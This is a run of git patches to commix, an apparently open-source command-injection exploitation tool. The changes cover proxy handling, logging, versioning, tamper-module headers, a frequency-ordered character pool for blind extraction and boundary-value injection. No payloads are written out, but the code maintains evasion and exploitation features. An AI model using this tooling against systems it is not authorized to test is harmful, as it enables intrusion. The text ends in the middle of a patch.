--- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- src/utils/logs.py | 5 +---- src/utils/settings.py | 6 +++--- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 66a65ccaa0..8cf4222db2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.7 (TBA) +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). + ## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. diff --git a/setup.py b/setup.py index 9cd3a56ab3..16a0a4cc33 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.6', + version='3.7-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/logs.py b/src/utils/logs.py index b537431e64..aa36215582 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -219,10 +219,7 @@ def logs_notification(filename): """ def log_traffic(header): output_file = open(menu.options.traffic_file, "a") - if not menu.options.no_logging: - if type(header) is bytes: - header = header.decode(settings.DEFAULT_CODEC) - output_file.write(header) + output_file.write(header) output_file.close() """ diff --git a/src/utils/settings.py b/src/utils/settings.py index e25dfd8fd6..ea35448eca 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.6" -REVISION = "35" -STABLE_RELEASE = True +VERSION_NUM = "3.7" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 4592ea70b85d88041148f5917fc540390fe706f7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Dec 2022 09:01:56 +0200 Subject: [PATCH 0219/1023] Minor bug fix regarding creating Github issues with unhandled exception information --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 6a02b07015..3ed15408c5 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -160,7 +160,7 @@ def create_github_issue(err_msg, exc_msg): message = "Do you want to automatically create a new (anonymized) issue " message += "with the unhandled exception information at " message += "the official Github repository? [y/N] " - choise = common.read_input(message, default="N", check_batch=True) + choise = read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: diff --git a/src/utils/settings.py b/src/utils/settings.py index ea35448eca..d0128a4404 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c7326f09c0e24747132ccb0e49674c4b8dc69d5a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 6 Dec 2022 07:20:11 +0200 Subject: [PATCH 0220/1023] Minor update regarding commit https://github.com/commixproject/commix/commit/4592ea70b85d88041148f5917fc540390fe706f7 --- src/utils/common.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 3ed15408c5..8eecc64479 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -153,7 +153,9 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.DEFAULT_CODEC) - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" + key = hashlib.md5(_).hexdigest()[:8] + + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" while True: try: diff --git a/src/utils/settings.py b/src/utils/settings.py index d0128a4404..5428aef726 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6c748f534fb52569f198c64aeca91eb104a84bb8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Dec 2022 07:15:26 +0200 Subject: [PATCH 0221/1023] Fixes https://github.com/commixproject/commix/issues/794 --- src/core/main.py | 11 ++++++----- src/utils/purge.py | 5 ++--- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f143f61299..d1aba20fb6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -632,14 +632,15 @@ def main(filename, url): # Check if defined "--purge" option. if menu.options.purge: purge.purge() - + # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " - err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) + menu.options.update, menu.options.list_tampers, menu.options.noncore_dependencies)): + if not menu.options.purge: + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " + err_msg += "Use -h for help." + print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.codec: diff --git a/src/utils/purge.py b/src/utils/purge.py index 41d34bfe4c..3d32bd877a 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -37,9 +37,8 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_debug_msg(debug_msg)) + warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." + print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5428aef726..de3f1a9c03 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 044f29e6e29869ac2541899ec3207a157cf6f403 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 8 Dec 2022 09:04:28 +0200 Subject: [PATCH 0222/1023] Minor update --- src/utils/logs.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index aa36215582..c5a3ca13d7 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -124,7 +124,8 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" # Load command history - checks.load_cmd_history() + if settings.LOAD_SESSION == True: + checks.load_cmd_history() # The logs filename construction. filename = output_dir + host + "/" + settings.OUTPUT_FILE diff --git a/src/utils/settings.py b/src/utils/settings.py index de3f1a9c03..3fb2341c5f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 29b9c6e5247f7c49c4b0ba059c04fe73e1c6c6b5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Dec 2022 11:05:20 +0200 Subject: [PATCH 0223/1023] Trivial update --- src/core/injections/controller/checks.py | 4 ++-- src/core/tamper/backslashes.py | 1 + src/core/tamper/caret.py | 1 + src/core/tamper/dollaratsigns.py | 1 + src/core/tamper/doublequotes.py | 1 + src/core/tamper/slash2env.py | 2 ++ src/core/tamper/sleep2timeout.py | 1 + src/core/tamper/sleep2usleep.py | 1 + src/utils/settings.py | 2 +- 9 files changed, 11 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 92d6605cfc..117519df5b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1168,7 +1168,7 @@ def whitespace_check(payload): settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) """ -Check for added caret between the characters of the generated payloads. +Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. @@ -1404,7 +1404,7 @@ def perform_payload_modification(payload): if encode_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - # Add caret symbol. + # Add backslashes. elif encode_type == 'backslashes': from src.core.tamper import backslashes payload = backslashes.tamper(payload) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index a374701281..2d4fd80b0f 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 978bbb70cd..21081e7cbb 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index df5e2e96d5..b870ad2612 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index a044527cb2..bd3269bb8f 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 973f33f6cf..602ec6715c 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -4,10 +4,12 @@ """ This file is part of Commix Project (https://commixproject.com). Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + For more see the file 'readme/COPYING' for copying permission. """ diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 585bf6aa0c..9f9ce00f44 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index dedf255b3f..867d80567c 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/utils/settings.py b/src/utils/settings.py index 3fb2341c5f..c29b5cfa08 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f320340e6dddd075e4bb5ff0010ca83f088c6c4d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Dec 2022 09:52:30 +0200 Subject: [PATCH 0224/1023] Minor update --- src/core/injections/controller/checks.py | 14 +++++++------- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 117519df5b..3c7d58c5ce 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1652,15 +1652,15 @@ def generate_char_pool(num_of_chars): if menu.options.charset: char_pool = [ord(c) for c in menu.options.charset] else: - # if num_of_chars == 1: - # # Checks {A..Z},{a..z},{0..9},{Symbols} - # char_pool = list(range(65, 90)) + list(range(96, 122)) - # else: - # # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) + # Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language + if num_of_chars == 1: + char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \ + [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + else: + char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \ + [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool - """ Print powershell version """ diff --git a/src/utils/settings.py b/src/utils/settings.py index c29b5cfa08..cd97200c25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Dec 2022 22:02:31 +0200 Subject: [PATCH 0225/1023] Minor update --- src/utils/settings.py | 2 +- src/utils/update.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index cd97200c25..c4a6813c96 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index f1cc9fa458..e371b9a5dc 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -91,11 +91,10 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." + print(settings.SINGLE_WHITESPACE) print(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " sys.stdout.write(settings.print_info_msg(info_msg)) From 1e6e5815fd692f7e859d4c3292fb9d0ace1ead1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Dec 2022 22:10:46 +0200 Subject: [PATCH 0226/1023] Minor fix regarding commit: https://github.com/commixproject/commix/commit/e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5 --- src/utils/settings.py | 2 +- src/utils/update.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index c4a6813c96..43b1237ba5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index e371b9a5dc..7282ab2471 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -94,6 +94,8 @@ def updater(): print(settings.SINGLE_WHITESPACE) print(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! + else: + print(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " From edc47ef13786fcd666ea7ec12433ee8251553286 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Dec 2022 09:26:40 +0200 Subject: [PATCH 0227/1023] Minor update regarding using a proxy to connect to the target URL. --- src/core/requests/headers.py | 3 +++ src/core/requests/proxy.py | 3 +-- src/core/requests/requests.py | 5 ++++- src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 5971abdd5d..a2a6e6092a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -143,6 +143,7 @@ def https_open(self, req): checks.connection_exceptions(err_msg, url=req) opener = _urllib.request.build_opener(connection_handler()) + if len(settings.HTTP_METHOD) != 0: request.get_method = lambda: settings.HTTP_METHOD @@ -154,6 +155,8 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 6fbf680179..1dfeb288ee 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -28,7 +28,6 @@ """ def use_proxy(request): headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -46,6 +45,6 @@ def do_check(url): request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) - use_proxy(request) + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 883bd9b7df..9b802b0578 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -50,9 +50,12 @@ def estimate_response_time(url, timesec): else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) - headers.do_check(request) + + headers.do_check(request) start = time.time() try: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 43b1237ba5..4a44e2bf48 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c6debf6f415167a04d779aedfc5b4f646dc72158 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Dec 2022 09:02:56 +0200 Subject: [PATCH 0228/1023] Fixes https://github.com/commixproject/commix/issues/796 --- src/core/modules/shellshock/shellshock.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index bbc78c0e79..36fe50c4fa 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -22,6 +22,8 @@ from src.core.injections.controller import checks default_user_agent = menu.options.agent +default_cookie = "" + if menu.options.cookie: if settings.INJECT_TAG in menu.options.cookie: menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4a44e2bf48..3f4ff8ae42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 41b73dd534f35c64b139de54f818d9de8b1eada8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 18 Dec 2022 12:14:05 +0200 Subject: [PATCH 0229/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/edc47ef13786fcd666ea7ec12433ee8251553286 --- src/core/requests/headers.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a2a6e6092a..ce4407f6d3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -148,6 +148,7 @@ def https_open(self, req): request.get_method = lambda: settings.HTTP_METHOD _ = False + response = False unauthorized = False while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.MULTI_TARGETS: @@ -158,7 +159,6 @@ def https_open(self, req): if menu.options.proxy: request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) - page = checks.page_encoding(response, action="encode") _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ @@ -200,7 +200,8 @@ def https_open(self, req): break try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if response is False: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() page = checks.page_encoding(response, action="encode") diff --git a/src/utils/settings.py b/src/utils/settings.py index 3f4ff8ae42..9e39fc6d6f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3df9b1bec43aeb029940701d7c304b7cdf2c0af8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 Dec 2022 08:33:04 +0200 Subject: [PATCH 0230/1023] Minor update --- src/core/requests/requests.py | 7 +++---- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9b802b0578..bbff77636b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -46,11 +46,10 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) + headers.do_check(request) start = time.time() try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e39fc6d6f..67ff1e373c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 65ddd985fda7be0c663ec56d1d25d9a1f9099c04 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 Dec 2022 07:47:39 +0200 Subject: [PATCH 0231/1023] Minor update --- src/core/injections/controller/checks.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3c7d58c5ce..8bf53a5038 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -760,6 +760,9 @@ def check_CGI_scripts(url): Check if http / https. """ def check_http_s(url): + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 67ff1e373c..a279f8d403 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cc1ecdee45d917927210333c64c4fb60d63a21ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 Dec 2022 07:28:29 +0200 Subject: [PATCH 0232/1023] Minor update regarding injecting a value inside boundaries --- src/core/injections/controller/checks.py | 9 ++++++++- src/core/requests/headers.py | 1 + src/core/requests/parameters.py | 4 ++++ src/utils/settings.py | 3 ++- 4 files changed, 15 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8bf53a5038..3132d8869d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -240,6 +240,12 @@ def load_cmd_history(): warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" print(settings.print_warning_msg(warn_msg)) +""" +Get value inside boundaries. +""" +def get_value_boundaries(value): + return re.search(settings.VALUE_BOUNDARIES, value).group(1) + """ Check if the value has boundaries. """ @@ -248,8 +254,9 @@ def value_boundaries(value): message += "Do you want to inject inside? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - value = re.search(settings.VALUE_BOUNDARIES, value).group(1) + value = get_value_boundaries(value) elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ce4407f6d3..f1fe4629ac 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -243,6 +243,7 @@ def https_open(self, req): err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg + print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 4f18522c36..1758605e0c 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -173,6 +173,8 @@ def vuln_GET_param(url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: + settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break @@ -377,6 +379,8 @@ def vuln_POST_param(parameter, url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: + settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index a279f8d403..f369145e02 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -283,6 +283,7 @@ def sys_argv_errors(): INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +INJECT_INSIDE_BOUNDARIES = True # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" From 271d1448c67380f4e8a75e725dba4f45ae37470c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Dec 2022 09:14:03 +0200 Subject: [PATCH 0233/1023] Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). --- doc/CHANGELOG.md | 1 + 